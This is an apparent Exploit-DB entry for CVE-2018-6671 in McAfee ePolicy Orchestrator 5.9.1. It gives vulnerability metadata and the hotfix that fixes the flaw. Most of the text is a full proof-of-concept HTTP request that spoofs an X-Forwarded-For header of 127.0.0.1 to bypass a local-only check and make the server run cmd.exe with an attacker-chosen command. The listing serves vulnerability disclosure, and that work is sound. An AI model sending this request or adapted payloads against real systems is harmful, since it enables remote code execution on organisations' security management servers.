McAfee ePO 5.9.1 Registered Executable Local Access Bypass

vendor:

ePolicy Orchestrator

by:

@leonjza

6.5

CVSS

MEDIUM

Local Access Bypass

287

CWE

Product Name: ePolicy Orchestrator

Affected Version From: ePO v5.9.1

Affected Version To: ePO v5.9.1

Patch Exists: YES

Related CWE: CVE-2018-6671

CPE: a:mcafee:epolicy_orchestrator

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows Server 2012

2019

McAfee ePO 5.9.1 Registered Executable Local Access Bypass

Specifying an X-Forwarded-For header bypasses the local only check, allowing an attacker to execute arbitrary code on the vulnerable system.

Mitigation:

Install the hotfix EPO5xHF1229850

Source

Exploit-DB raw data:

# Exploit Title: McAfee ePO 5.9.1 Registered Executable Local Access Bypass
# Date: 2019-03-07
# Exploit Author: @leonjza
# Vendor Homepage: https://www.mcafee.com/
# Software Link: https://www.mcafee.com/enterprise/en-us/products/epolicy-orchestrator.html
# Version: ePO v5.9.1
# Tested on: Windows Server 2012
# CVE : cve-2018-6671

GIST LINK: https://gist.github.com/leonjza/17eb8ed9cba0ea1d2c70b82782c6d949

# CVE-2018-6671 McAfee ePO 5.9.1 Registered Executable Local Access Bypass
# Specifying an X-Forwarded-For header bypasses the local only check
# https://kc.mcafee.com/corporate/index?page=content&id=SB10240
# https://nvd.nist.gov/vuln/detail/CVE-2018-6671
#
# 2019 @leonjza
#
# Tested on ePO v5.9.1, missing hotfix EPO5xHF1229850

POST /Notifications/testRegExe.do HTTP/1.1
Host: 192.168.1.26:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.26:8443/Notifications/addRegExecutable.do?orion.user.security.token=Bp5pZJOQll2vryhC
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 284
DNT: 1
Connection: close
Cookie: JSESSIONID=645BCB1CE5B7DBE1B9EDC7BB9F2F7349.route1;
orion.login.language="language:en&country:";
orion.content.size="width:1384&height:699";
JSESSIONIDSSO=4D970A5F2DBF48309F796DF38B80FC15
X-Forwarded-For: 127.0.0.1

orion.user.security.token=Bp5pZJOQll2vryhC&orion.user.security.token=Bp5pZJOQll2vryhC&executableName=CVE-2018-6671%20PoC&executablePath=c:\windows\system32\cmd.exe&userName=&pass=&passConfirm=&testExeArgs=/c
whoami > c:\CVE-2018-6671.txt&testExeTime=60000&objectId=0&ajaxMode=standard


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